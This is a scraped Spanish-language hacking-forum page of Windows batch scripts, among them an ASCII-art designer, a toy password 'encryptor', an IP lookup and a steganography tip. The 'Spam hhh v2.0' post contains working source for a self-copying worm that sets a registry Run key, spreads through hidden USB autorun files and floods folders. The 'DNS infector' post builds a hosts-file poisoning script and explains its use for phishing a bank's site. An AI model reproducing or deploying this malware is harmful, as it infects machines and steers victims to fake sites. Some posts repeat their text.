(X5Y2,X8Y2,X9Y2,X10Y6,X10Y7,X12Y2,X12Y3,X13Y5,X13Y6,X13Y7,X16Y5,X16Y6,X16Y7,X18Y5,X18Y6,X18Y7,X20Y5,X20Y6,X20Y7,X21Y5,X22Y5,X23Y5,X23Y6,X23Y7) do (Set %%a=º) for %%a in (X2Y3,X3Y1,X6Y1,X6Y3,X9Y5,X10Y5,X11Y1,X11Y5,X12Y1,X13Y1,X14Y5,X14Y6,X14Y7,X17Y5,X17Y6) do (Set %%a=Í) for %%a in (X2Y1,X5Y1,X8Y1) do (Set %%a=É) for %%a in (X3Y2,X9Y1) do (Set %%a=») for %%a in (X2Y2,X5Y3,X8Y3) do (Set %%a=È) for %%a in (X3Y3,X9Y3) do (Set %%a=¼) :Graphic Call :Clear echo. for /l %%d in (0,1,%LimY%) do ( for /l %%e in (0,1,%LimX%) do ( set Lin_%%d=!Lin_%%d!!X%%eY%%d!)) for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!) echo. pause exit :Clear cls for /l %%m in (0,1,%LimY%) do (set Lin_%%m=) Goto :EofACII
Codigo Resultante:
Código:@echo off @title Scot_Team - Batch Designer ::Created with Batch Designer ::Coded by SmartGenius setlocal enabledelayedexpansion :Init Set LimX=30 Set LimY=8 for /l %%a in (0,1,%LimX%) do ( for /l %%b in (0,1,%LimY%) do ( set X%%aY%%b=°)) for %%a in (X1Y0,X1Y1,X1Y2,X1Y3,X1Y4,X2Y0,X2Y4,X3Y0,X3Y4,X4Y0,X4Y1,X4Y2,X4Y3,X4Y4,X5Y0,X5Y4,X6Y0,X6Y2,X6Y4,X7Y0,X7Y1,X7Y2,X7Y3,X7Y4,X8Y0,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X9Y0,X9Y4,X9Y6,X9Y7,X9Y8,X10Y0,X10Y1,X10Y2,X10Y3,X10Y4,X10Y8,X11Y0,X11Y2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X12Y0,X12Y4,X12Y5,X12Y6,X12Y7,X12Y8,X13Y0,X13Y2,X13Y3,X13Y4,X13Y8,X14Y0,X14Y1,X14Y2,X14Y3,X14Y4,X14Y8,X15Y4,X15Y5,X15Y6,X15Y7,X15Y8,X16Y4,X16Y8,X17Y4,X17Y7,X17Y8,X18Y4,X18Y8,X19Y4,X19Y5,X19Y6,X19Y7,X19Y8,X20Y4,X20Y8,X21Y4,X21Y6,X21Y7,X21Y8,X22Y4,X22Y6,X22Y7,X22Y8,X23Y4,X23Y8,X24Y4,X24Y5,X24Y6,X24Y7,X24Y8) do (Set %%a=±) for %%a in (X5Y2,X8Y2,X9Y2,X10Y6,X10Y7,X12Y2,X12Y3,X13Y5,X13Y6,X13Y7,X16Y5,X16Y6,X16Y7,X18Y5,X18Y6,X18Y7,X20Y5,X20Y6,X20Y7,X21Y5,X22Y5,X23Y5,X23Y6,X23Y7) do (Set %%a=º) for %%a in (X2Y3,X3Y1,X6Y1,X6Y3,X9Y5,X10Y5,X11Y1,X11Y5,X12Y1,X13Y1,X14Y5,X14Y6,X14Y7,X17Y5,X17Y6) do (Set %%a=Í) for %%a in (X2Y1,X5Y1,X8Y1) do (Set %%a=É) for %%a in (X3Y2,X9Y1) do (Set %%a=») for %%a in (X2Y2,X5Y3,X8Y3) do (Set %%a=È) for %%a in (X3Y3,X9Y3) do (Set %%a=¼) :Graphic Call :Clear echo. for /l %%d in (0,1,%LimY%) do ( for /l %%e in (0,1,%LimX%) do ( set Lin_%%d=!Lin_%%d!!X%%eY%%d!)) for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!) echo. pause exit :Clear cls for /l %%m in (0,1,%LimY%) do (set Lin_%%m=) Goto :EofEspero que les sea de gran utilidad,
y que les ayude a entender el tema,
ya les traere algo para lo de las animaciones. ;D
Saludos. Smar"
-HGP- Encripta contraseñas V1.0
Pronto la vercion 2.0 jejeje, esq estoy liandome un poco.
Espero les sea de utilidad, es un encripta contraseñas, en el cual pueden poner sus claves, las cuales se encriptaran como numeros que solo se puede desifrar sabiendo el numero de seguridad o haciendo brute force como lo hizo smart. sabiendo algo de matematicas la encriptacion es asi
ej:
donde xyz son los 3 numeros de seguridad y no letra en el numero asignado a cada letra.
para los que tienen en sus contraseñas numeros como ej: pass123
deben de poner sus numero y al final de cad numero un punto.
ej:
esto no intervenira a la hora de ver el mensaje ya que sera eliminado el"." solo es para no inteferir con las operaciones de calculo. las contraseñas seran guardadas en un archivo de texto llamado hgp.txt
en el veran solo numeros. nada de letras jejejeje.
aca el code (recuerden guardarlo .bat):
Espero les sea de utilidad, es un encripta contraseñas, en el cual pueden poner sus claves, las cuales se encriptaran como numeros que solo se puede desifrar sabiendo el numero de seguridad o haciendo brute force como lo hizo smart. sabiendo algo de matematicas la encriptacion es asi
ej:
xyz=xy+No.letra*xyz
donde xyz son los 3 numeros de seguridad y no letra en el numero asignado a cada letra.
para los que tienen en sus contraseñas numeros como ej: pass123
deben de poner sus numero y al final de cad numero un punto.
ej:
pass1.2.3.
esto no intervenira a la hora de ver el mensaje ya que sera eliminado el"." solo es para no inteferir con las operaciones de calculo. las contraseñas seran guardadas en un archivo de texto llamado hgp.txt
en el veran solo numeros. nada de letras jejejeje.
aca el code (recuerden guardarlo .bat):
@echo off title [ -HGP- Encripta Contrase¤as V1.0 ] -By Guerrerohgp- setlocal enabledelayedexpansion mode con cols=55 lines=20 color a :ini cls echo.&echo.S o l o N £ m e r o s D e 3 D ¡ g i t o s.&echo. set /p nums=N£mero De Seguridad: if not defined nums goto ini if %nums% lss 100 goto ini if %nums% gtr 999 goto ini set aa=%nums:~0,2% set prr= set zz= cls echo.&echo Si deceas desifrar el mensaje escribe desifrar.&echo.&echo.Para informacion escribe info&echo. set /p "contr=T£ Mensaje: " set contr=!contr: =_! if /i %contr%==desifrar goto numlet if /i %contr%==info goto infohgp goto mn :nm set /a aa=%aa%+1 set /a nnn=%aa%+%nums% set "sm=%nnn% " set contr=!contr:%let%=%sm%! goto:eof :mn for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z _ 1. 2. 3. 4. 5. 6. 7. 8. 9. 0.) do ( set let=%%a call:nm) echo Cierrame en 10 segundos ping -n 2 0.0.0.0 >nul call:archivohgp %contr% :archivohgp echo.%1>>hgp.txt set hpgg=!hpg!%1>nul set "ggph=%*">nul if "%hpgg%"=="%ggph%" (exit) shift>nul goto archivohgp :nms set /a ah+=1 set ab=%ah% set %ab%=%letr% goto:eof :numlet set ah=%nums:~0,2% for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z _ 1. 2. 3. 4. 5. 6. 7. 8. 9. 0.) do ( set letr=%%d call:nms) for /f "delims= " %%c in (hgp.txt) do (set ver=%%c call:vver) set pass=%pass:_= % set pass=%pass:.=% echo %pass% pause>nul :vver set /a nnn=%ver%-%nums% set nf=!nnn! set pass=%pass%!%nf%! goto:eof :infohgp cls echo.Este scrip esta hecho con la inteci¢n de&echo.guardar tus contrase¤as&echo.para que si no las recuerdas echo.solo las guardes encriptadas y no tengas&echo.que recordar mas que el n£mero de seguridad. echo.&echo.ejemplo: foro.portalhacker.net contrase¤a echo.&echo Created By Guerrerohgp. echo.&echo.PD:Guarda bien el archivo hgp.txt, Hay se&echo.guardar n las contrase¤as. echo.&echo.PD2: A los n£mero ponle al final un punto echo. para no confundir al script. echo.&echo.ejemplo: foro.portalhacker.net pass1.2.3. Pause>nul cls&goto iniAlgun dia la 2.0
Saca IP´s -HGP-
Bueno estaba aburrido y vi un scaner de puertos en bathc y se me ocurrio hacer un saca ip para webs.
obio q si hacemos ping nos saldra la ip de la web q sea lo que hic fue que con for no molestac todas esas letras y solo mostrac la ip. jeje
aca el code
obio q si hacemos ping nos saldra la ip de la web q sea lo que hic fue que con for no molestac todas esas letras y solo mostrac la ip. jeje
aca el code
Código:
sugerencias aceptadas.@echo off mode con cols=40 lines=7 color a&title saca ip :wb cls&echo. la web donde decea sacar la ip: set /p laweb= if not defined laweb goto wb for /f "tokens=5 delims= " %%a in ('ping %laweb% -n 1') do (set ip=%%a&goto Ver) :Ver if "%ip:~0,1%"=="[" ( cls&echo.La ip de %laweb% es:&echo. %ip% ) else ( cls echo. echo No se encontro servidor ) set laweb=&pause >nul goto wb
Spam hhh v2.0
En esta ocacion les presento mi spamer hhh, pero no el viejo sino uno actualizado que trae junto a el la opcion de eliminar virus porsi te infectaste.
espero les guste.
codigo fuente: (Para los que no saben si lo quieren usar solo copien el codigo fuente, peguenlo en el block de notas y guarden como.. nobreque sea.bat o nombrequesea.cmd)
Espero les guste.
espero les guste.
codigo fuente: (Para los que no saben si lo quieren usar solo copien el codigo fuente, peguenlo en el block de notas y guarden como.. nobreque sea.bat o nombrequesea.cmd)
Espero les guste.
Código:
@echo off :ini color f0 mode con cols=30 lines=13 title Spamer -hhh- v2.0 set Ä=ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ::-Created by Guerrerohgp-:: :strt cls set hgp= echo. Ú%Ä%¿ echo.&echo. 1.Crear nuevo spamer.&echo.&echo. 2.Desinfectarte de virus.&echo.&echo. 3.INFO&echo. echo. À%Ä%Ù set /p "hgp= ->" if not defined hgp goto strt if t%hgp%==t1 goto createhhh if t%hgp%==t2 goto quithhh if t%hgp%==t3 goto info goto strt :createhhh cls&echo. Cual es tu mensaje para hacer spam?&echo.&set /p G= -::^> cls&echo.&echo. es tu mensaje? echo.&echo %G% echo.&echo. 1.si 2.no&&set /p es=::^> if %es%==1 goto num cls&goto createhhh :num cls&echo. Cuantos archivos spam deceas&echo. que se envien en cada &echo. carpeta?&echo.&set /p n= -::^> if %n% lss 1 goto num if %n% gtr 100 (msg * ERROR, SOLO NUMEROS Y SOLO HASTA 100&goto num) echo ^@echo off>>%homedrive%\hh.cmd echo title spam hhh>>%homedrive%\hh.cmd echo if exist ^"%%windir%%\win.cmd^" goto spam>>%homedrive%\hh.cmd echo copy /y %%0 ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /t REG_SZ /d ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd echo :spam>>%homedrive%\hh.cmd echo for %%%%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%%%h>>%homedrive%\hh.cmd echo call:nm)>>%homedrive%\hh.cmd echo goto hgp1>>%homedrive%\hh.cmd echo :nm>>%homedrive%\hh.cmd echo if exist %%usb%%:\ (copy /y %%0 "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd echo attrib +h "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd echo call :usbvir %%usb%%) else (goto:eof)>>%homedrive%\hh.cmd echo :hgp1>>%homedrive%\hh.cmd echo cd %%homedrive%%\>>%homedrive%\hh.cmd echo call:shgp %%homedrive%%>>%homedrive%\hh.cmd echo for /r /d %%%%g in (*) do call:shgp %%%%g>>%homedrive%\hh.cmd echo exit>>%homedrive%\hh.cmd echo :shgp>>%homedrive%\hh.cmd echo for /l %%%%a in (1,2,%n%) do echo %G%^>^>%%^*\leeme%%%%a.txt>>%homedrive%\hh.cmd echo goto:eof>>%homedrive%\hh.cmd echo :usbvir>>%homedrive%\hh.cmd echo echo [Autorun] ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo open="hgp.bat" ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo icon=%%windir%%\system32\shell32.dll,4 ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo action=Abrir Carpeta para ver archivos. ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo echo shell\open=Abrir ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo attrib +h +s +r ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd echo goto:eof>>%homedrive%\hh.cmd ren %homedrive%\hh.cmd %homedrive%\infectionhhh.cmd cls echo listo!! msg * Archivo listo y guardado en %homedrive%\infectionhhh.cmd msg * no ejecutes el archivo o te infectaras. msg * Created By Guerrerohgp pause >nul cls&call %0 exit :quithhh cls title hhh spam desinfector del /f /q /s "%windir%\win.cmd" reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /f call:sshgp %homedrive% for %%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%h call:nm) :nm if exist "%usb%:\hgp.bat" del /f/q/s "%usb%:\hgp.bat" if exist "%usb%:\AutoRun.inf" del /f/q/s "%usb%:\AutoRun.inf" goto:eof del /f/q/s %homedrive%\Archivos del /f/q/s %homedrive%\Documents cd %homedrive%\ for /r /d %%h in (*) DO call:sshgp %%h exit :sshgp for /l %%a in (1,2,100) do del /f/q/s %*\leeme%%a.txt goto:eof pause>nul exit :info cls echo Este scrip es de uso libre&echo.&echo. y solo con fines didacticos echo.&echo.No soy Responsable del mal uso del scrip. pause>nul cls echo.&echo. %Ä%&echo.&echo. Creado Por:&echo.&echo.&echo. Guerrerohgp echo. %Ä% echo. guerrerohgp@jotmeil.com pause>nul&cls goto iniCualquier bug favor notificarmelo.
Fichero de Texto en una Imagen
Bueno este tutorial lo vi pòr ahí y me intereso, no hago " Copy - Paste" porque yo mismo lo explicare y haré un Mini-Tutorial
--------------------------------------------------------------------------
Bueno este método es ideal para mandar información confidencial a través de un Txt.
Bueno empecemos, necesitamos:
• Imagen ( *.jpg - *.png )
• Archivo de Texto (*.txt)
• WinRAR
Primero que todo Comprimimos el Archivo de Texto con el WinRAR.
Nota: La imagen y el "documento confidencial" los pasamos a C:\.
Vamos a Inicio ---> Ejecutar --> CMD
O
Tecla de Windows + R
Una vez alli hacemos lo siguiente.
Esto es lo que nos aparece una vez ejecutamos CMD.
Nosotros haremos lo siguiente:
Luego:
Como ahí tenemos los archivos entonces hacemos lo siguiente:
Luego le damos enter y listo tenemos nuestro archivo oculto en una imagen.
Para verlo, necesitamos hacer lo siguiente:
Abrimos WinRAR --> Abrimos la Imagen ---> y listo ahi esta "DocumentoDeTexto.txt
Saludos Prueben y me cuentan.
by: .:WindHack:.
--------------------------------------------------------------------------
Bueno este método es ideal para mandar información confidencial a través de un Txt.
Bueno empecemos, necesitamos:
• Imagen ( *.jpg - *.png )
• Archivo de Texto (*.txt)
• WinRAR
Primero que todo Comprimimos el Archivo de Texto con el WinRAR.
Nota: La imagen y el "documento confidencial" los pasamos a C:\.
Vamos a Inicio ---> Ejecutar --> CMD
O
Tecla de Windows + R
Una vez alli hacemos lo siguiente.
Esto es lo que nos aparece una vez ejecutamos CMD.
Código:
Microsoft Windows XP [Version 0.0.0000] (C) Copyright 1985 - 2001 Microsoft Corp. C:\Documents and Settings\User\
Código:
Microsoft Windows XP [Version 0.0.0000]
(C) Copyright 1985 - 2001 Microsoft Corp.
C:\Documents and Settings\User\cd C:\
Código:
Microsoft Windows XP [Version 0.0.0000] (C) Copyright 1985 - 2001 Microsoft Corp. C:\
Código:
Microsoft Windows XP [Version 0.0.0000] (C) Copyright 1985 - 2001 Microsoft Corp. C:\copy /b MiImagen.jpg+ DocumentoDeTexto.rar NuevoNombreDeArchivo.jpg
Para verlo, necesitamos hacer lo siguiente:
Abrimos WinRAR --> Abrimos la Imagen ---> y listo ahi esta "DocumentoDeTexto.txt
Saludos Prueben y me cuentan.
by: .:WindHack:.
dns infector reloaded (batch sourse) By Guerrerohgp
el dns infector reloaded jejejeje mejore algunas fallas de la primera vercion y la grafica tambien
pd:
Para que se entienda si esq no saben que es una infeccion dns: en situaciones normales, si tipeamos en nuestro Internet
Explorer la dirección www.bancorio.com.ar, estaremos ingresando al sitio web del
Banco Río de Buenos Aires. Pero si hemos sido víctimas de un ataque de DNS, al
tipear www.bancorio.com.ar ingresaremos sin saberlo a un sitio webdifernte o falso exactamente
igual al del banco, o si tenemos un centro de estudio lo usamos para que no entren ni hi5 ni a meboo ni ebuddy etc.
Código:
pd:
Para que se entienda si esq no saben que es una infeccion dns: en situaciones normales, si tipeamos en nuestro Internet
Explorer la dirección www.bancorio.com.ar, estaremos ingresando al sitio web del
Banco Río de Buenos Aires. Pero si hemos sido víctimas de un ataque de DNS, al
tipear www.bancorio.com.ar ingresaremos sin saberlo a un sitio webdifernte o falso exactamente
igual al del banco, o si tenemos un centro de estudio lo usamos para que no entren ni hi5 ni a meboo ni ebuddy etc.
Código:
@echo off
::By Guerrerohgp
mode con cols=62 lines=10
title DNS infection Reloaded -GUERREROHGP-
set hhh=^@echo off
set r=%%windir%%\system32\drivers\etc\hosts
:uso
color f4
:: las letras estan rojo obscuro porque es mi identidad en todo lugar.
:: jejej siempre escribo en rojo.
echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo. þ Este programa es solo para uso deducativo, þ
echo. þ cualquier persona que use este programa es þ
echo. þ responsable de sus actos. þ
echo. ÈÍÍþÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍþÍͼ
echo. ³si postean el code no cambiar el autor³echo. ³ Guerrerohgp ³echo. þÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄþ
pause>nul
:menu
set ip=
set ss=
cls
echo ÉÍÍþ--- ---þÍÍ»
echo ÍÍÍÍþ primero has ping a tu scam, o como obtengas su ip þÍÍÍÍ
echo ÍÍÍÍþ escribe la ip aqui. þÍÍÍÍ
echo ÈÍÍþ--- ---þÍͼ
set /p ip= ^>^>
if not defined ip (cls&&msg * no escribiste nada&&goto menu)
cls
echo ÉÍÍ ÍÍ»
echo Es este %ip%?
echo ÈÍÍ Íͼ
echo þ1.si þ2.no þ3.salir
set /p ss= ^>^>
if not defined ss (cls&&msg * no escribiste nada&&goto menu)
if %ss%==1 goto name
if %ss%==2 cls&&goto menu
if %ss%==3 (msg * Adios Visita Terminalhacker.es&&msg * Y http://clanhackrack.foroactivo.com/)&&exit
msg * error %random%
cls
goto menu
:name
set dominio=
set sn=
cls
echo ÉÍÍþ--- ---þÍÍ»
echo ÍÍÍÍþ escribe el nombre de la pagina sin www o http þÍÍÍÍ
echo ÍÍÍÍþ Ejemplo: google.com ÍÍÍÍþ
echo ÈÍÍþ--- ---þÍͼ
set /p dominio= ^>^>
if not defined dominio (cls&&msg * no escribiste nada&&goto name)
cls
echo ÉÍÍ ÍÍ»
echo es esta la pagina, acegurate q no tenga www.
echo %dominio%?
echo ÈÍÍ Íͼ
echo þ1.si o þ2.no
set /p sn= ^>^>
if not defined sn (cls&&msg * no escribiste nada&&goto name)
if %sn%==1 goto create
if %sn%==2 goto name
msg * mal elige 1 o 2
goto name
:create
cls
set /a intt=%intt%+1
set cr=%cr%±
echo ÍÍCREANDOÍÍ
echo %cr%
ping -n 1 localhost>nul
if not %intt%==14 goto create
echo %hhh%>>DNSinfectorHGPRELOADED.bat
echo echo %ip% www.%dominio%^>^>%r%>>DNSinfectorHGPRELOADED.bat
echo echo %ip% http://www.%dominio%^>^>%r%>>DNSinfectorHGPRELOADED.bat
echo echo %ip% http://%dominio%^>^>%r%>>DNSinfectorHGPRELOADED.bat
echo echo %ip% %dominio%^>^>%r%>>DNSinfectorHGPRELOADED.bat
:bienhgp
cls
echo ÉÍÍþ þÍÍ»
echo þ Archivo Creado þ
echo listo, el archivo creado se llama
echo dnsinfectorhgp.bat
echo þ No lo ejecutes o te infectaras! þ
echo ÈÍÍþ þÍͼ
echo.
echo.
pause> nul
cls
echo.
echo.
echo. þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
echo. þ contactarme en guerrerohgp^@hotmail.com þ
echo. þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ
pause>nul
cls
goto uso
videotuto programacionen batch by Guerrerohgp-introduccion
Bueno empezamos los videotutos de programacion en batch.
